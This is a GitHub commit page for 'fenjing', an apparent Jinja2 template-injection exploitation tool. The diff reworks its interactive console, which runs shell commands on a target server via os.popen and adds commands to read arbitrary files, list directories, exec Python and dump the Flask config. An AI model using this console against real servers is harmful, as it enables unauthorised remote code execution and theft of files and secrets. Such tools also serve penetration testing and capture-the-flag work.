Skip to content

Commit

Permalink
Update interactive mode, now it feels like a terminal instead of a sh…
Browse files Browse the repository at this point in the history
…itty python homework.
  • Loading branch information
Marven11 committed Oct 14, 2023
1 parent 567aff5 commit d114410
Show file tree
Hide file tree
Showing 4 changed files with 131 additions and 49 deletions.
78 changes: 31 additions & 47 deletions fenjing/cli.py
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,7 @@
from .submitter import Submitter, PathSubmitter, FormSubmitter, shell_tamperer
from .scan_url import yield_form
from .webui import main as webui_main
from .interact import interact

set_enable_coloring()

Expand All @@ -47,30 +48,7 @@
),
bold=True,
)
INTERACTIVE_MODE_HELP = """
{english_title}:
- Command Execution: type to execute shell command with os.popen()
- Python Eval: use {eval_help} to eval python expression on the target server
- Get Config: use {get_config_help} to get the config of the target server
- Press {exit_help} to exit
{chinese_title}:
- 命令执行:输入任意命令即可在目标上用os.popen()执行
- Python Eval:使用{eval_help}来eval任意python表达式
- 配置获取:使用{get_config_help}来获得目标的flask config
- 按下{exit_help}退出
{example_title}:
$>> ls /
$>> %%eval 1+2+3+100000
$>> %%get-config
""".format(
english_title = colored("yellow", "Interactive Console", bold=True),
chinese_title = colored("yellow", "交互终端", bold=True),
example_title = colored("yellow", "Example/示例", bold=True),
eval_help=colored("cran", "%%eval <expression>"),
get_config_help=colored("cran", "%%get-config"),
exit_help=colored("cran", "Ctrl+D"),
)

LOGGING_FORMAT = "%(levelname)s:[%(name)s] | %(message)s"
logging.basicConfig(level=logging.INFO, format=LOGGING_FORMAT)
logger = logging.getLogger("cli")
Expand Down Expand Up @@ -101,16 +79,41 @@ def do_submit_cmdexec(
str: 回显
"""
payload, will_print = None, None
if cmd[:2] == "%%":
cmd = cmd[2:]
# 解析命令
if cmd[0] == "@":
cmd = cmd[1:]
if cmd.startswith("get-config"):
payload, will_print = full_payload_gen_like.generate(CONFIG)
elif cmd.startswith("eval"):
payload, will_print = full_payload_gen_like.generate(
EVAL, STRING, cmd[4:].strip()
EVAL, (STRING, cmd[4:].strip())
)
elif cmd.startswith("ls"):
cmd = cmd.strip()
if len(cmd) == 2: # ls
payload, will_print = full_payload_gen_like.generate(
EVAL, (STRING, "__import__('os').listdir()")
)
else: # ls xxx
payload, will_print = full_payload_gen_like.generate(
EVAL, (STRING, f"__import__('os').listdir({repr(cmd[2:].strip())})")
)
elif cmd.startswith("cat"):
filepath = cmd[3:].strip()
payload, will_print = full_payload_gen_like.generate(
EVAL, (STRING, f"open({repr(filepath)}, 'r').read()")
)
elif cmd.startswith("exec"):
statements = cmd[4:].strip()
payload, will_print = full_payload_gen_like.generate(
EVAL, (STRING, f"exec({repr(statements)})")
)
else:
logging.warning("Please check your command")
return ""
else:
payload, will_print = full_payload_gen_like.generate(OS_POPEN_READ, cmd)
# 使用payload
if payload is None:
logger.warning("%s generating payload.", colored("red", "Failed"))
return ""
Expand All @@ -125,25 +128,6 @@ def do_submit_cmdexec(
return result.text


def interact(cmd_exec_func: Callable):
"""根据提供的payload生成方法向用户提供一个交互终端
Args:
cmd_exec_func (Callable): 根据输入的shell命令生成对应的payload
"""
print(INTERACTIVE_MODE_HELP)
while True:
try:
cmd = input("$>> ")
except EOFError:
break
except KeyboardInterrupt:
break
result = cmd_exec_func(cmd)
print(result)
logger.warning("Bye!")


def parse_headers_cookies(headers_list: List[str], cookies: str) -> Dict[str, str]:
"""将headers列表和cookie字符串解析为可以传给requests的字典
Expand Down Expand Up @@ -221,7 +205,7 @@ def do_crack_form_eval_args_pre(
replaced_keyword_strategy: str,
environment: str,
tamper_cmd: Union[str, None],
) -> Union[Tuple[Submitter, Union[FullPayloadGen, EvalArgsModePayloadGen]], None]:
) -> Union[Tuple[Submitter, EvalArgsModePayloadGen], None]:
"""攻击一个表单并获得结果,但是将payload放在GET/POST参数中提交
Args:
Expand Down
2 changes: 1 addition & 1 deletion fenjing/cracker.py
Original file line number Diff line number Diff line change
Expand Up @@ -171,7 +171,7 @@ def crack(self) -> Union[FullPayloadGen, None]:
)
return full_payload_gen

def crack_eval_args(self) -> Union[Tuple[FullPayloadGen, Submitter, bool], None]:
def crack_eval_args(self) -> Union[Tuple[Submitter, EvalArgsModePayloadGen], None]:
"""开始进行攻击,生成一个会eval GET参数x中命令的payload, 将其放进一个新的submitter中并返回。
新的submitter会填充GET参数x、提交并返回结果。
Expand Down
97 changes: 97 additions & 0 deletions fenjing/interact.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,97 @@
from typing import Callable

from pygments.lexers.shell import BashLexer

from prompt_toolkit import PromptSession, print_formatted_text, HTML
from prompt_toolkit.completion import NestedCompleter
from prompt_toolkit.lexers import PygmentsLexer
from prompt_toolkit.styles import style_from_pygments_cls
from prompt_toolkit.lexers import PygmentsLexer
from pygments.styles import get_style_by_name


# completer = WordCompleter(["@eval", "@get-config", "@help", "@ls", "@cat"])
completer = NestedCompleter.from_nested_dict(
{
"@eval": None,
"@get-config": None,
"@ls": None,
"@cat": None,
"@help": {"eval", "get-config", "ls", "cat"},
}
)
style = style_from_pygments_cls(get_style_by_name("lightbulb"))

INTERACTIVE_MODE_HELP_LONG = """\
<orange><b>Interactive Console</b></orange>:
- type to execute shell command with os.popen()
- <blue>@eval</blue>: eval python expression on the target server
- <blue>@get-config</blue>: get the config of the target server
- <blue>@help</blue>: show help, use @help subcommand to show subcommand help
- Press <blue>Ctrl+D</blue> to exit
<orange><b>交互终端</b></orange>:
- 输入任意命令即可在目标上用os.popen()执行
- <blue>@eval</blue>: 调用eval函数执行任意python表达式
- <blue>@get-config</blue>: 获得目标的flask config
- <blue>@help</blue>: 获得帮助,使用@help subcommand查看子命令的帮助
- 按下<blue>Ctrl+D</blue>退出
Tab completion is available/有tab补全
<orange><b>Example/示例</b></orange>:
$>> ls /
$>> @eval 1+2+3+100000
$>> @help
$>> @get-config
$>> @help eval\
"""

INTERACTIVE_MODE_HELP_SHORT = """\
<orange><b>Example/示例</b></orange>:
$>> ls /
$>> @eval 1+2+3+100000
$>> @get-config
Type @help for full help/输入@help获得完整帮助\
"""

HELPS = {
"eval": "Eval any python expression, example: @eval 1+1+4+5+1+4",
"get-config": "Get the config of the target, example: @get-config",
"ls": "list the directory with python builtin os.listdir()",
"cat": "read a file with python",
}


def interact(cmd_exec_func: Callable):
print_formatted_text(HTML(INTERACTIVE_MODE_HELP_SHORT))
# print(INTERACTIVE_MODE_HELP)
session = PromptSession(
lexer=PygmentsLexer(BashLexer),
completer=completer,
style=style,
include_default_pygments_style=False,
)
while True:
try:
text = session.prompt("$>> ")
except KeyboardInterrupt:
print("Use Ctrl+D to exit!")
continue
except EOFError:
break
if text.strip() == "":
continue
if text.strip().lower()[:5] == "@help":
text = text.strip().lower()
if len(text) == 5:
print_formatted_text(HTML(INTERACTIVE_MODE_HELP_LONG))
else:
subcommand = text[6:]
help_text = HELPS.get(subcommand, None)
if help_text:
print(help_text)
else:
print(f"subcommand {repr(subcommand)} not found")
continue
result = cmd_exec_func(text)
print(result)

print("Bye!")
3 changes: 2 additions & 1 deletion requirements.txt
Original file line number Diff line number Diff line change
Expand Up @@ -3,5 +3,6 @@ beautifulsoup4
click
flask
jinja2
mypy
prompt_toolkit
pygments
pysocks

0 comments on commit d114410

Please sign in to comment.